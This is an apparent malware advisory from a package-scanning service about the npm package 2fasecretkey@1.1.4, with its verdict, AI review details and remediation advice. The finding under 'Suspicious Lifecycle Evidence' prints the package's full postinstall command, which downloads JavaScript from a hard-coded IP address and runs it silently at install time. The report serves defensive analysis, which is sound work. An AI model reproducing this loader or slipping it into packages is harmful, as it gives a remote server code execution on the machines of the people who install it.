Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The remote server can execute arbitrary code with the installing user's permissions. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 1.1.4 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package contains an automatic install-time remote payload loader that executes unaudited code from a hard-coded endpoint. This is concrete malware behavior, regardless of the benign-looking API files. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-08-27T20:58:53.468Z - **Finished:** 2026-08-27T20:59:22.330Z - **Download time:** 502 ms - **Static scan time:** 12 ms - **AI review time:** 28347 ms - **Total time:** 28862 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installing the package triggers a remote JavaScript download and execution. The downloaded code is not included in the package and is controlled by the remote server. - **Trigger:** npm installation runs the postinstall lifecycle hook. - **Impact:** The remote server can execute arbitrary code with the installing user's permissions. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-27T20:59:22.330Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Downloads, writes, and requires a remote JavaScript payload. - **Attack narrative:** On npm installation, the postinstall command requests a JavaScript file from a hard-coded IP address. It accumulates the response, writes it under a randomized filename in the system temporary directory, and loads it with require. This gives the remote server arbitrary code execution on every installation and hides failures with empty error handlers. - **Rationale:** The package contains an automatic install-time remote payload loader that executes unaudited code from a hard-coded endpoint. This is concrete malware behavior, regardless of the benign-looking API files. - **Files touched:** package.json, /tmp/\_vc\.js - **Network endpoints:** http://185.14.92.233:7777/p.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The postinstall hook downloads JavaScript from a hard-coded IP address, saves it in the temporary directory, and executes it during installation., The hook suppresses errors, making the remote payload execution silent if it fails., The declared TOTP entrypoint imports a missing local module, while the install hook is fully functional. - **Evidence against:** The visible runtime entrypoint only exposes TOTP helper functions and contains no network or file operations., No credential harvesting, agent configuration mutation, or destructive action is present in the packaged source files. ## Affected versions and remediation This report applies to 2fasecretkey@1.1.4. - Avoid installing 2fasecretkey@1.1.4. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.

Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The postinstall hook downloads JavaScript from a hard-coded IP address, saves it in the temporary directory, and executes it during installation. Public source snippet (untrusted): ```json "postinstall": "node -e \"var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{var t=pa.join(os.tmpdir(),'_vc'+Math.random().toString(36).slice(2)+'.js');fs.writeFileSync(t,d);require(t)}catch(e){}})}).on('error',function(){});\"" ``` ### 5. High: Missing Postinstall Target - **Category:** Manifest - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The declared TOTP entrypoint imports a missing local module, while the install hook is fully functional.
